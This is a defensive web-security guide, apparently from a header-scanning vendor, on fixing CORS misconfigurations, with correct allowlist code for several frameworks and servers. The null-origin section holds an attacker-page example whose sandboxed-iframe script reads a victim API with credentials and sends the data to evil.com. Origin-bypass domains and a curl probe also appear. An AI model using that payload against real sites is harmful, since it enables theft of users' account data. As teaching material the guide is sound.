Security guide

How to Fix a CORS Misconfiguration

A server that echoes back the Origin request header without validating it — combined with Access-Control-Allow-Credentials: true — allows any website on the internet to make fully authenticated API calls as your logged-in users. This is one of the most commonly exploited server-side misconfigurations. Here is what each pattern looks like, why it is dangerous, and how to fix it.

How CORS works

The same-origin policy is the browser’s default rule: JavaScript on https://app.example.com cannot read the response from a fetch to https://api.example.com unless the API server explicitly says it allows it. Cross-Origin Resource Sharing (CORS) is the mechanism that allows servers to grant those permissions via HTTP response headers.

When a browser issues a cross-origin request, the server’s response must include an Access-Control-Allow-Origin header naming the requesting origin (or *) before the browser will hand the response to JavaScript. For requests that include credentials (cookies, HTTP auth headers, or TLS client certificates), the server must also include Access-Control-Allow-Credentials: true and cannot use * as the origin value — it must name the exact origin.

The security assumption is that the server will only grant this permission to origins it trusts. When that assumption breaks down, CORS becomes an attack surface instead of a control.

CORS is entirely browser-enforced. A server-side HTTP client (curl, Python requests, your backend), a mobile app, or a Postman request is not bound by the same-origin policy and ignores CORS headers entirely. CORS protects against attacks launched from a victim’s browser — not against direct API calls.

The five dangerous patterns

Critical — exploitable for account takeover

1. Reflecting the Origin header unconditionally

The server reads the incoming Origin header and echoes it back verbatim in Access-Control-Allow-Origin, combined with Access-Control-Allow-Credentials: true:

# What the attack looks like on the wire
Request:  Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
          Access-Control-Allow-Credentials: true

The effect: every origin is trusted. Any website can make fully authenticated requests to this API as the visiting user, and read the response. This is the canonical CORS vulnerability; it is functionally equivalent to having no same-origin policy at all for authenticated endpoints. It commonly appears in frameworks where a configuration option is set to “allow all origins with credentials” without the developer understanding the implication.

Fix: validate the Origin header against a hard-coded list of trusted origins using strict string equality. Only echo back an origin that is on the allowlist.

High — whitelist bypass

2. Substring or regex matching instead of exact equality

A common attempt to “secure” a reflected origin check is to validate using a substring test:

# These checks are all bypassable
if (origin.endsWith('.example.com'))   → bypassed by https://evilexample.com
if (origin.startsWith('https://example.com'))  → bypassed by https://example.com.evil.com
if (origin.includes('example.com'))   → bypassed by both of the above

If your CORS allowlist logic uses any string operation other than strict equality, it can be bypassed by an attacker who registers a domain that satisfies the substring check. The fix is the same: use a hard-coded set and test with exact equality (=== in JavaScript, == in Python, equals() in Java).

High — sandbox iframe bypass

3. Allowing the null origin

The string null (not the absence of a value) appears as the Origin header value in requests from sandboxed iframes, file:// URLs, and some data: URI contexts. A server that returns Access-Control-Allow-Origin: null with credentials enabled is exploitable from any page that can render a sandboxed iframe:

<!-- Attacker's page at https://evil.com -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('https://api.victim.com/account', {credentials: 'include'})
      .then(r => r.json()).then(data => {
        fetch('https://evil.com/steal?d=' + JSON.stringify(data));
      });
  </script>
"></iframe>

The sandbox attribute without allow-same-origin forces the iframe to use Origin: null, which matches the server’s allowance. Never add null to a CORS allowlist.

Medium — cache poisoning

4. Missing Vary: Origin on dynamic CORS responses

When a server returns different Access-Control-Allow-Origin values depending on the incoming Origin (as it does with an allowlist), it must include Vary: Origin in every response. Without it, a CDN or intermediate cache may serve one origin’s CORS response to a different origin’s request. A legitimate origin might receive a response from cache that has a different origin’s Access-Control-Allow-Origin value — causing a failed CORS check and a broken request. In some configurations, an attacker can exploit the ordering to poison the cache with a permissive header for their own origin.

Fix: include Vary: Origin on all CORS-enabled responses, including responses where the requesting origin is not on the allowlist.

Medium — overly permissive preflight

5. Allowing all methods and headers in preflight responses

A preflight response (OPTIONS) that allows Access-Control-Allow-Methods: * and Access-Control-Allow-Headers: * means any method and any header the browser sends will be permitted in the actual request. This matters when your API uses custom auth headers or when certain HTTP methods (DELETE, PATCH) trigger privileged operations. Explicitly list the methods and headers your API actually needs:

# Overly permissive (avoid)
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *

# Correct — list only what you need
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With

When Access-Control-Allow-Origin: * is safe

A wildcard CORS policy is appropriate in exactly one scenario: a public endpoint serving genuinely public data that requires no authentication.

Endpoint typeWildcard safe?Reason
CDN-served static assets (JS, CSS, fonts, images) Safe Public by definition; no auth, no user data
Public read-only API (open data, weather, public transit) Safe No credentials involved; data is meant to be public
API that reads session cookies or auth headers Never Combines with credentials to allow cross-origin account access
API that returns user-specific data, even without cookies Caution Consider whether cross-site inclusion of user data is acceptable
Internal or admin APIs Never Should not be accessible from any external origin
Browsers refuse * with Access-Control-Allow-Credentials: true. If you set both, the browser will block the response with a CORS error — it is an invalid combination per the specification. The exploitable pattern is not the literal combination of these two headers; it is a server that returns the requesting Origin value (rather than *) paired with Access-Control-Allow-Credentials: true.

Correct allowlist implementation

The pattern is the same in every language: maintain a hard-coded set of trusted origins, use strict equality to test the incoming Origin header, and only reflect an origin that passes the test.

Node.js / Express

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://www.example.com',
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400');
    return res.status(204).end();
  }
  next();
});
Always set Vary: Origin when the Access-Control-Allow-Origin value changes per request. This ensures caches (CDN, proxy, browser) store separate versions of the response keyed by the requesting origin.

Python (Flask)

from flask import Flask, request, make_response

ALLOWED_ORIGINS = {
    'https://app.example.com',
    'https://www.example.com',
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin', '')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'
    return response

Python (Django)

Use django-cors-headers and set these in settings.py:

CORS_ALLOWED_ORIGINS = [
    'https://app.example.com',
    'https://www.example.com',
]
CORS_ALLOW_CREDENTIALS = True
# Never use CORS_ALLOW_ALL_ORIGINS = True with CORS_ALLOW_CREDENTIALS = True

Deploy on your platform

For static sites and API gateways, the CORS configuration lives in your hosting provider’s config rather than application code. The same rule applies: list exact origins, never reflect dynamically.

nginx

map $http_origin $cors_origin {
    default                        "";
    "https://app.example.com"      $http_origin;
    "https://www.example.com"      $http_origin;
}

server {
    add_header Access-Control-Allow-Origin  $cors_origin always;
    add_header Access-Control-Allow-Credentials "true" always;
    add_header Vary "Origin" always;

    location / {
        if ($request_method = OPTIONS) {
            add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS";
            add_header Access-Control-Allow-Headers "Content-Type, Authorization";
            add_header Access-Control-Max-Age 86400;
            return 204;
        }
    }
}

Apache (.htaccess)

SetEnvIf Origin "^https://(app|www)\.example\.com$" CORS_ALLOW=1
Header always set Access-Control-Allow-Origin "%{HTTP_ORIGIN}e" env=CORS_ALLOW
Header always set Access-Control-Allow-Credentials "true" env=CORS_ALLOW
Header always set Vary "Origin"

<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_METHOD} OPTIONS
  RewriteRule ^(.*)$ $1 [R=204,L]
</IfModule>

Note: use a tightly anchored regex (^ start, $ end, escaped \. for literal dots). A loose regex creates the same bypass risk as substring matching.

Vercel (vercel.json)

Vercel does not support dynamic Access-Control-Allow-Origin (origin-dependent values) in vercel.json headers, since headers are static strings. For multi-origin CORS on Vercel, handle it in an API function (Edge or Serverless):

// api/data.js (Vercel Serverless Function)
const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://www.example.com',
]);

export default function handler(req, res) {
  const origin = req.headers.origin || '';
  if (ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    return res.status(204).end();
  }
  res.json({ data: 'hello' });
}

For single-origin CORS (one frontend, one API), you can set a static Access-Control-Allow-Origin value in vercel.json without Vary:

{
  "headers": [
    {
      "source": "/api/(.*)",
      "headers": [
        { "key": "Access-Control-Allow-Origin", "value": "https://app.example.com" },
        { "key": "Access-Control-Allow-Credentials", "value": "true" }
      ]
    }
  ]
}

Next.js (next.config.js)

// For a single allowed origin, set it statically:
module.exports = {
  async headers() {
    return [
      {
        source: '/api/:path*',
        headers: [
          { key: 'Access-Control-Allow-Origin', value: 'https://app.example.com' },
          { key: 'Access-Control-Allow-Credentials', value: 'true' },
          { key: 'Access-Control-Allow-Methods', value: 'GET, POST, OPTIONS' },
          { key: 'Access-Control-Allow-Headers', value: 'Content-Type, Authorization' },
        ],
      },
    ];
  },
};

For multiple origins, handle CORS in a middleware (middleware.ts) or in each route handler, where you can do the allowlist equality check before setting the header.

Netlify (_headers file)

Netlify _headers files support static values only. For a single origin:

/api/*
  Access-Control-Allow-Origin: https://app.example.com
  Access-Control-Allow-Credentials: true

For multiple origins on Netlify, use a Netlify Edge Function to perform the allowlist check and set the header dynamically.

Verify with HardenCheck

To check your API’s CORS configuration with HardenCheck, paste the response headers from an actual cross-origin request to your API — not just your homepage headers. You can capture them in Chrome DevTools (Network tab → select the API request → Response Headers) or with curl:

curl -I -H "Origin: https://evil.com" https://api.yoursite.com/endpoint

Look at the Access-Control-Allow-Origin value in the response. If it reads https://evil.com (the origin you sent), the server is reflecting the origin unconditionally. HardenCheck flags Access-Control-Allow-Origin: * on responses that also set Access-Control-Allow-Credentials: true, and notes when origin reflection is detected in the pasted headers.

Check my headers with HardenCheck →

Frequently asked questions

Is Access-Control-Allow-Origin: * always a security risk?

No. A wildcard CORS policy is safe when it applies to genuinely public data that requires no authentication — static assets on a CDN, a public read-only API, open data feeds. The risk arises when the wildcard (or reflected origin) is combined with Access-Control-Allow-Credentials: true, or when the API serves user-specific data that depends on session cookies or auth headers. Browsers will refuse to send credentials to a wildcard endpoint — it is the origin-reflecting pattern that creates the real vulnerability.

What does “reflecting the Origin header” mean and why is it dangerous?

A reflected CORS policy means the server reads the incoming Origin header and copies its value directly into Access-Control-Allow-Origin without checking it against any allowlist. Combined with Access-Control-Allow-Credentials: true, this allows any website to make fully authenticated cross-origin requests to your API as your logged-in users. An attacker who controls evil.com can issue a fetch to your API, the browser sends the user’s session cookies, your server returns Access-Control-Allow-Origin: https://evil.com, and the attacker’s JavaScript reads the response. This is the canonical CORS vulnerability in security research.

Can I use a substring or regex match instead of an exact allowlist?

Substring and regex matching is the root cause of most CORS whitelist bypasses. Checking whether the origin “ends with .example.com” allows the attacker origin https://evilexample.com to pass the check. Checking whether it “starts with https://example.com” allows https://example.com.evil.com to pass. The only safe pattern is strict string equality against a list of pre-approved origins stored in your configuration, not derived from the request.

What is the null origin and why should I never allow it?

Browsers send Origin: null in requests from sandboxed iframes (with the sandbox attribute but without allow-same-origin), requests from file:// URLs, and some data: URI contexts. A server that allows the null origin with credentials enabled is exploitable from a sandboxed iframe on any page — the attacker creates an iframe using srcdoc or a data: URL to force Origin: null, then uses it to make credentialed requests to your API. Never add null to your CORS allowlist.

What is the Vary: Origin header and when do I need it?

When your server returns different Access-Control-Allow-Origin values depending on the incoming Origin (as it does with an allowlist check), you must include Vary: Origin in every response, including responses where the origin is not on the allowlist. Without it, a CDN or proxy cache may serve one origin’s CORS response to a different origin’s request — causing a legitimate origin to see the wrong Access-Control-Allow-Origin value from cache and fail the CORS check. Include Vary: Origin on all responses from any endpoint that implements CORS.

Does HardenCheck check for CORS misconfigurations?

HardenCheck reads the HTTP response headers you paste in and flags Access-Control-Allow-Origin: * as a finding when it appears alongside Access-Control-Allow-Credentials: true. It also notes when origin reflection is detected. Paste your API response headers (not just your homepage headers) to check whether your CORS configuration is flagged. Because CORS misconfigurations are context-dependent — wildcard is safe on a public CDN and dangerous on an authenticated API — always combine automated header scanning with a review of which endpoints are affected.

Does setting a CORS header on the server bypass the same-origin policy for browsers?

No — CORS headers relax the browser’s same-origin policy in a controlled way; they do not bypass it. Without any CORS header, the browser blocks JavaScript from reading cross-origin responses (though the request still reaches the server). With a permissive CORS header, the browser allows JavaScript to read the response. The CORS mechanism is entirely browser-enforced; a server-side HTTP client (curl, backend fetch, mobile app) ignores CORS headers and can always read cross-origin responses. CORS only protects against attacks launched from a victim’s browser.

Also in the Copper Bay Labs ship-safety suite

CORS is one of several security header and configuration topics HardenCheck covers — here are guides for the others: